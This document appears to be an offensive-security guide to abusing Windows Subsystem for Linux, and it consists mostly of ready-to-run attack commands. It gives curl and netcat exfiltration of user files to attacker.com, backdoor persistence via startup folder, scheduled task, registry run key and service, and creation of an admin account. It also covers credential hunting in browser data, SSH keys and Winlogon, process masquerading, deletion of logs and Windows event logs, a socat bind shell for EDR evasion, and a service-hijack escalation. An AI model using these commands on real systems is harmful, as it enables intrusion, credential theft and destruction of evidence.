Abusing Windows Subsystem for Linux (WSL)
Understanding WSL Architecture
What WSL Really Is
Windows Subsystem for Linux (WSL) is Microsoft's compatibility layer that allows you to run Linux binary executables natively on Windows. Think of it as a bridge between two worlds - Windows and Linux - but this bridge creates unique attack opportunities.
WSL1 vs WSL2 Key Differences:
WSL1: Translation layer that converts Linux system calls to Windows NT kernel calls in real-time
WSL2: Full Linux kernel running in a lightweight Hyper-V virtual machine with bridged file system and network access
Important WSL2 Isolation Notes: WSL2 introduces more isolation than WSL1. While file access and network interfaces are bridged, WSL2 runs in a VM which means:
Direct memory access to Windows processes is not possible
Some networking behaviors differ from WSL1
The isolation is more rigid, though file system bridges still work
Why WSL Creates Security Risks
The fundamental problem is privilege inheritance and cross-platform access:
User-Level Privilege Inheritance: WSL processes run with the same Windows user privileges (not SYSTEM, but the user's token)
File System Bridge: WSL can read/write Windows files through
/mnt/c/
and\\wsl$\
sharesCross-Platform Execution: WSL can execute Windows binaries via
cmd.exe
andpowershell.exe
Network Interface Sharing: Both systems can share network interfaces
Credential Access: WSL can potentially access Windows user-level credentials and data
Critical Understanding: WSL root ≠ Windows SYSTEM. WSL inherits the launching Windows user's privileges, not elevated system privileges.
Discovery and Enumeration
Detecting WSL Installation
From Windows Command Line:
# Check if WSL feature is enabled
dism /online /get-features | findstr "Microsoft-Windows-Subsystem-Linux"
# List installed distributions
wsl --list --all
wsl -l -v
# Check WSL version
wsl --version
wsl --status
From PowerShell:
# Check WSL optional feature status
Get-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux
# Find WSL installations via registry
Get-ChildItem "HKCU:\Software\Microsoft\Windows\CurrentVersion\Lxss" -ErrorAction SilentlyContinue
# Check for WSL packages
Get-AppxPackage | Where-Object {$_.Name -like "*Ubuntu*" -or $_.Name -like "*Debian*" -or $_.Name -like "*SUSE*"}
# Check for WSL2 virtual machines
Get-VM | Where-Object {$_.Name -like "*WSL*"}
From Linux Side:
# Check if we're running in WSL
uname -r | grep -i microsoft
cat /proc/version | grep -i microsoft
# Determine WSL version
if [ -f /proc/version ]; then
if grep -qi "microsoft.*wsl2" /proc/version; then
echo "Running WSL2"
elif grep -qi "microsoft" /proc/version; then
echo "Running WSL1"
fi
fi
File System Reconnaissance
Windows to WSL Access:
# Access WSL file systems via network share
Get-ChildItem \\wsl$\
Get-ChildItem \\wsl$\Ubuntu-20.04\home\
Get-ChildItem \\wsl$\Ubuntu-20.04\etc\
# Find WSL installation directories (WSL1 primarily)
Get-ChildItem "$env:LOCALAPPDATA\Packages" | Where-Object {$_.Name -like "*Ubuntu*" -or $_.Name -like "*Debian*"}
# WSL2 virtual disk locations
Get-ChildItem "$env:USERPROFILE\AppData\Local\Packages\*\LocalState\*.vhdx"
Get-ChildItem "$env:USERPROFILE\AppData\Local\Docker\wsl\*\*.vhdx"
WSL to Windows Access:
# Access Windows drives (available in both WSL1 and WSL2)
ls /mnt/c/Users/
ls /mnt/c/Windows/System32/
# Find interesting Windows files
find /mnt/c/ -name "*.txt" -o -name "*.log" -o -name "*.config" 2>/dev/null | head -20
# Check Windows registry via Windows binaries
# Note: WSL cannot directly access registry - must use Windows tools
reg.exe query "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" 2>/dev/null
Cross-Platform File Access Exploitation
Understanding the File System Bridge
The /mnt/c/
mount point in WSL provides access to the Windows C: drive with the launching user's permissions:
Read access: Any file readable by the Windows user
Write access: Any location writable by the Windows user
This includes user documents, some system locations, and application data
Does NOT include files requiring administrator privileges unless user is admin
Data Exfiltration Techniques
From Windows to WSL:
# Copy user-accessible files to WSL
Copy-Item "$env:USERPROFILE\Documents\passwords.txt" "\\wsl$\Ubuntu\tmp\"
Copy-Item "C:\ProgramData\Application\config.xml" "\\wsl$\Ubuntu\tmp\" -ErrorAction SilentlyContinue
# Transfer via pipe
Get-Content "C:\Users\$env:USERNAME\Documents\sensitive.txt" | wsl tee /tmp/exfil.txt
From WSL to External Systems:
# Exfiltrate Windows user files via WSL tools
curl -X POST -F "file=@/mnt/c/Users/$USER/Documents/passwords.txt" http://attacker.com/upload
# Base64 encode and exfiltrate
base64 /mnt/c/Users/$USER/Documents/sensitive.txt | curl -X POST -d @- http://attacker.com/data
# Use netcat for data transfer
cat /mnt/c/Users/$USER/AppData/Local/Application/data.db | nc attacker.com 4444
Advanced File Manipulation
Bypassing Windows File Locks:
# Sometimes WSL can access files that Windows applications have locked
cp /mnt/c/Users/$USER/AppData/Local/Application/locked.db /tmp/unlocked_copy
# Access files via different path resolution
strings "/mnt/c/Program Files/Application/config.dat"
Creating Cross-Platform Access:
# Create directories accessible from both systems
mkdir -p /mnt/c/ProgramData/.maintenance
echo "cross-platform persistence" > /mnt/c/ProgramData/.maintenance/update.log
# Modify Windows user startup files
echo 'wsl bash -c "/tmp/startup_script.sh" &' >> "/mnt/c/Users/$USER/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/system_check.bat"
Privilege Escalation via WSL
Understanding WSL Privilege Model
Key Principle: WSL inherits the exact privileges of the launching Windows user:
Regular user → WSL has regular user privileges
Administrator → WSL can access admin-level Windows resources
WSL "root" ≠ Windows SYSTEM (this is a common misconception)
Token Access and Manipulation
Checking Current Token Privileges:
# Check Windows user privileges from WSL
cmd.exe /c "whoami /all"
powershell.exe -Command "([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')"
# Get detailed user information
powershell.exe -Command "Get-CimInstance -ClassName Win32_UserAccount | Where-Object {$_.Name -eq '$env:USERNAME'}"
Leveraging Inherited Privileges:
# If Windows user is admin, these commands will work
cmd.exe /c "net user hacker Password123! /add"
cmd.exe /c "net localgroup administrators hacker /add"
# Access admin-only Windows locations
ls /mnt/c/Windows/System32/config/ 2>/dev/null
cat /mnt/c/Windows/System32/drivers/etc/hosts
WSL Root Exploitation
Understanding WSL Root:
# Many WSL installations allow passwordless sudo
sudo -l
# Become root in WSL (this is still bound by Windows user privileges)
sudo su -
# Check what this actually means
id # Shows uid=0 (root)
cmd.exe /c "whoami" # Still shows Windows username, not SYSTEM
Exploiting Default Configurations:
# Default Ubuntu WSL often has no root password
sudo passwd root # Set root password if needed
# Root in WSL can access all WSL filesystem but Windows access is still limited by user token
sudo cat /etc/shadow # Works - Linux root privileges
sudo ls /mnt/c/Windows/System32/config/ # May fail - depends on Windows user privileges
Cross-Platform Process Execution
Windows to WSL Execution
Basic Command Execution:
# Execute Linux commands from Windows
wsl whoami
wsl uname -a
wsl "ps aux | grep ssh"
# Execute and capture output
$linuxUsers = wsl bash -c "cat /etc/passwd"
$linuxUsers | Out-File -FilePath "C:\temp\linux_users.txt"
# Background execution
Start-Process wsl -ArgumentList "bash -c 'nohup /tmp/background_task.sh > /dev/null 2>&1 &'" -WindowStyle Hidden
# Execute specific distribution
wsl -d Ubuntu-20.04 bash -c "cat /etc/os-release"
WSL to Windows Execution
Cross-Platform Command Execution:
# Execute Windows binaries from WSL (inherits WSL's Windows token)
cmd.exe /c "dir C:\\Users"
powershell.exe -Command "Get-Process | Select-Object Name,Id,CPU"
# Execute PowerShell scripts
powershell.exe -ExecutionPolicy Bypass -File /mnt/c/temp/script.ps1
# Background Windows process execution
cmd.exe /c "start /B malicious.exe"
# Execute with specific user (if credentials available)
# Note: This uses Windows authentication, not Linux
runas.exe /user:DOMAIN\\user "cmd.exe"
Advanced Execution Techniques:
# Chain commands across platforms
result=$(cmd.exe /c "echo %USERNAME%" | tr -d '\r')
echo "Windows user is: $result" > /tmp/current_user.txt
# Use Windows tools with Linux processing
reg.exe query "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" | grep -v "HKEY" | awk '{print $1}'
Network Attack Vectors
Network Interface Behavior
WSL1 vs WSL2 Networking:
WSL1: Shares Windows network stack directly
WSL2: Uses NAT with port forwarding for external access
Network Reconnaissance:
# Check network configuration
ip addr show # WSL network interfaces
route -n # Routing table
# Windows network from WSL perspective
cmd.exe /c "ipconfig /all"
cmd.exe /c "netstat -an"
Traffic Interception (WSL1 primarily):
# Capture traffic (requires appropriate permissions)
tcpdump -i eth0 -w /tmp/capture.pcap
# Monitor for credentials (limited effectiveness in WSL2)
tcpdump -i eth0 -A | grep -i "password\\|username\\|login"
Port Forwarding and Tunneling
WSL2 Port Forwarding:
# WSL2 requires explicit port forwarding for external access
# From Windows (as admin):
netsh interface portproxy add v4tov4 listenport=4444 listenaddress=0.0.0.0 connectport=4444 connectaddress=$(wsl hostname -I | awk '{print $1}')
# Create reverse tunnels
ssh -R 4444:localhost:22 user@external.com
# Local port forwarding
ssh -L 3389:internal.server:3389 user@jumpbox
Credential Access and Harvesting
Windows Credential Access from WSL
Registry Credential Mining (via Windows tools):
# Note: WSL cannot directly access Windows registry
# Must use Windows registry tools
# Check for stored credentials
reg.exe query "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon" /v DefaultPassword 2>/dev/null
# Auto-login credentials
reg.exe query "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon" /v AutoAdminLogon 2>/dev/null
# Enumerate Windows credential manager
cmdkey.exe /list
File System Credential Search:
# Search user-accessible credential files
find /mnt/c/Users/$USER -type f \\( -name "*.txt" -o -name "*.xml" -o -name "*.config" \\) -exec grep -l -i "password\\|credential\\|secret" {} \\; 2>/dev/null
# Browser data (user-accessible)
ls "/mnt/c/Users/$USER/AppData/Local/Google/Chrome/User Data/Default/Login Data" 2>/dev/null
# SSH keys
find /mnt/c/Users/$USER -name "id_rsa" -o -name "id_dsa" -o -name "*.pem" 2>/dev/null
Memory Analysis Limitations
Memory Analysis Considerations:
# Install volatility in WSL
pip3 install volatility3
# Analyze Windows memory dumps (if accessible)
# Note: Limited by user permissions and memory dump availability
python3 vol.py -f /mnt/c/temp/memory.dmp windows.pslist
python3 vol.py -f /mnt/c/temp/memory.dmp windows.hashdump
Persistence Mechanisms
WSL-Specific Persistence
WSL Startup Script Persistence:
# Modify user startup scripts (persists within WSL sessions)
echo "/tmp/persistent_backdoor.sh &" >> ~/.bashrc
echo "/tmp/persistent_backdoor.sh &" >> ~/.profile
# System-wide WSL persistence (requires WSL root)
echo "/tmp/system_backdoor.sh &" >> /etc/bash.bashrc
Important Note: WSL persistence only triggers when WSL is launched. For cross-reboot persistence, combine with Windows-side triggers.
Windows Startup via WSL
Effective Cross-Platform Persistence:
# Method 1: Windows startup folder
startup_dir="/mnt/c/Users/$USER/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup"
echo 'wsl bash -c "/tmp/persistent_backdoor.sh" &' > "$startup_dir/system_update.bat"
# Method 2: Scheduled task creation
schtasks.exe /create /tn "WSLSystemUpdate" /tr "wsl bash -c '/tmp/backdoor.sh'" /sc onlogon /f
# Method 3: Registry run key
reg.exe add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v "WSLUpdate" /t REG_SZ /d "wsl bash -c '/tmp/backdoor.sh'" /f
Service Creation via WSL
Windows Service Creation:
# Create malicious Windows service (requires admin privileges)
sc.exe create "WSLSystemService" binpath= "wsl bash -c '/tmp/service_backdoor.sh'" start= auto DisplayName= "WSL System Service"
# Start the service (if creation successful)
sc.exe start "WSLSystemService"
Evasion Techniques
Detection Evasion
Process Hiding:
# Use Linux process names that blend in
cp malicious_binary /usr/bin/systemd-networkd
nohup /usr/bin/systemd-networkd > /dev/null 2>&1 &
# Background processes with legitimate names
cp payload /tmp/kworker
nohup /tmp/kworker > /dev/null 2>&1 &
File System Evasion:
# Hide files in Linux filesystem structure
mkdir -p /var/lib/systemd/.config
mv malicious_files /var/lib/systemd/.config/
# Use Linux permissions and hidden files
chmod 600 /tmp/.system_cache
chattr +i /tmp/.system_cache # Make immutable (if ext filesystem)
Anti-Forensics:
# Clear Linux-side evidence
history -c && history -w
rm ~/.bash_history
rm /var/log/auth.log 2>/dev/null
rm /var/log/syslog 2>/dev/null
# Clear Windows evidence via WSL
powershell.exe -Command "Clear-EventLog -LogName Application,System,Security" 2>/dev/null
Modern EDR Considerations
Important Note: Modern EDRs (Defender for Endpoint, CrowdStrike, etc.) may monitor:
WSL process execution
Cross-platform file access
Command-line activity in both environments
Network connections from WSL
EDR Evasion Strategies:
# Use legitimate administrative tools
wsl bash -c "curl -s https://legitimate-site.com/admin-tool.sh | bash"
# Avoid obvious malicious patterns
# Instead of: nc -l -p 4444 -e /bin/bash
# Use: socat TCP4-LISTEN:4444,fork EXEC:/bin/bash
# Time-delayed execution
echo "sleep 3600 && /tmp/delayed_payload.sh" | at now 2>/dev/null
Advanced Attack Scenarios
Scenario 1: Corporate Environment Lateral Movement
Network Discovery via WSL:
# Use Linux tools for network reconnaissance
nmap -sn 192.168.1.0/24 -oG - | grep "Up" | awk '{print $2}'
# Active Directory enumeration
# Install and use Linux AD tools
python3 /opt/BloodHound.py/bloodhound.py -u user -p password -d domain.com -c all -ns 192.168.1.10
# Kerberoasting from WSL
python3 /opt/impacket/examples/GetUserSPNs.py domain.com/user:password -outputfile kerberos.txt
Scenario 2: Data Exfiltration Pipeline
Comprehensive Data Gathering:
# Step 1: Identify valuable data
find /mnt/c/Users/ \\( -name "*.docx" -o -name "*.xlsx" -o -name "*.pdf" -o -name "*.pst" \\) -newer /mnt/c/Windows/System32/drivers/etc/hosts > /tmp/target_files.txt
# Step 2: Compress and encrypt
tar czf - $(cat /tmp/target_files.txt) | gpg --symmetric --cipher-algo AES256 --compress-algo 2 > /tmp/exfil.tar.gz.gpg
# Step 3: Exfiltrate via multiple channels
curl -X POST -H "Content-Type: application/octet-stream" --data-binary @/tmp/exfil.tar.gz.gpg http://attacker.com/upload
Scenario 3: Privilege Escalation Chain
Complete Escalation Process:
# Step 1: Enumerate from WSL
powershell.exe -Command "Get-Service | Where-Object {$_.Status -eq 'Running' -and $_.StartType -eq 'Automatic'}"
# Step 2: Check for vulnerable services
accesschk.exe -accepteula -uwcqv "Everyone" * > /tmp/service_perms.txt
# Step 3: Exploit via cross-platform approach
echo 'net user hacker Password123! /add && net localgroup administrators hacker /add' > /mnt/c/temp/escalate.bat
sc.exe config VulnerableService binpath= "C:\\temp\\escalate.bat"
sc.exe start VulnerableService
Key Considerations
Technical Limitations
WSL2 Isolation: More network and memory isolation than WSL1
Process Injection: Cannot directly inject into Windows processes from WSL
DLL Compilation: Must use MinGW cross-compiler for Windows-compatible DLLs
Registry Access: Must use Windows tools (reg.exe) - no direct access from WSL
Privilege Boundaries: WSL inherits Windows user privileges, not system privileges
Operational Requirements
WSL must be installed and enabled on target system
User must have permissions to launch WSL
Cross-platform techniques require Windows binaries accessible from WSL
Network behavior differs between WSL1 and WSL2
Detection Considerations
Modern EDRs may monitor WSL activity
Cross-platform file access can be logged
Command-line activity in both environments may be monitored
Network connections from WSL may be scrutinized
Last updated
Was this helpful?